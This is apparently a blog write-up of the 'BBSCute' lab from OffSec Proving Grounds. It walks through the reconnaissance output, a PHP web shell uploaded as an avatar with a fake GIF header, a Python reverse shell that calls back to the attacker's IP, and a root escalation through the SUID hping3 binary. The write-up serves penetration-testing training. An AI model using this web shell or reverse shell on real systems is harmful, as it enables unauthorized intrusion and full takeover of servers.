Proving grounds Play: BBSCute

- 2 mins
CTF Offsec labs OSCP Writeup Linux Pg-Play

Nmap

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 04d06ec4ba4a315a6fb3eeb81bed5ab7 (RSA)
|   256 24b3df010bcac2ab2ee949b058086afa (ECDSA)
|_  256 6ac4356a7a1e7e51855b815c7c744984 (ED25519)
80/tcp  open  http     Apache httpd 2.4.38 ((Debian))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Apache2 Debian Default Page: It works
|_http-favicon: Unknown favicon MD5: 759585A56089DB516D1FBBBE5A8EEA57
|_http-server-header: Apache/2.4.38 (Debian)
88/tcp  open  http     nginx 1.14.2
|_http-title: 404 Not Found
|_http-server-header: nginx/1.14.2
110/tcp open  pop3     Courier pop3d
995/tcp open  ssl/pop3 Courier pop3d

80/tcp - open http - Apache httpd 2.4.38 ((Debian))

naveenj@hackerspace:|00:36|~/pg-play/BBSCute$ dirsearch -u http://192.168.151.128/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -r -t 60 --full-url

Target: http://192.168.151.128/

[00:37:05] Starting: 
[00:37:21] 301 -  317B  - http://192.168.151.128/core  ->  http://192.168.151.128/core/     (Added to queue)
[00:37:23] 301 -  317B  - http://192.168.151.128/docs  ->  http://192.168.151.128/docs/     (Added to queue)
[00:37:24] 200 -    1KB - http://192.168.151.128/favicon.ico
[00:37:27] 200 -   10KB - http://192.168.151.128/index.html
[00:37:28] 200 -    6KB - http://192.168.151.128/index.php  #login page

http://192.168.151.128/index.php

img

Register ➡️ login ➡️ Upload Avatar ➡️ upload reverse shell/php code execution code as avatar.

Note: In order to do a successfull registration the CAPTCHA must be sumitted and which is not available on the registration page. So it can be obtained by viewing the CAPTCHA page source view-source:http://192.168.151.128/captcha.php

Upload.php

GIF98;
<?php
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
?>

Trigger Payload: http://192.168.151.128/uploads/avatar_naveenj_upload.php?cmd=id

Check the python version using which python command the create the reverse shell code.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.45.204",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'

Initial Foothold

naveenj@hackerspace:|01:17|~/pg-play/BBSCute$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.45.204] from (UNKNOWN) [192.168.151.128] 60944
www-data@cute:/var/www/html/uploads$

Privilege Escalation

Enumerate user executable permissions using sudo -l.

www-data@cute:/$ sudo -l    #check executable permissions
sudo -l
Matching Defaults entries for www-data on cute:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on cute:
    (root) NOPASSWD: /usr/sbin/hping3 --icmp    
    www-data@cute:/$ ls -al /usr/sbin/hping3
ls -al /usr/sbin/hping3
-rwsr-sr-x 1 root root 156808 Sep  6  2014 /usr/sbin/hping3

The binary can be run as root without password.

www-data@cute:/$ hping3
hping3
hping3> whoami
whoami
root    #root obtained
hping3> id
id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
hping3>

Root Obtained

Thanks for reading!

For more insights and updates, follow me on Twitter: @thevillagehacker.

Related Posts

Naveen J

Naveen J

Security Researcher | Appsec Specialist@SISA Information Security | Web 3 Security Enthusiast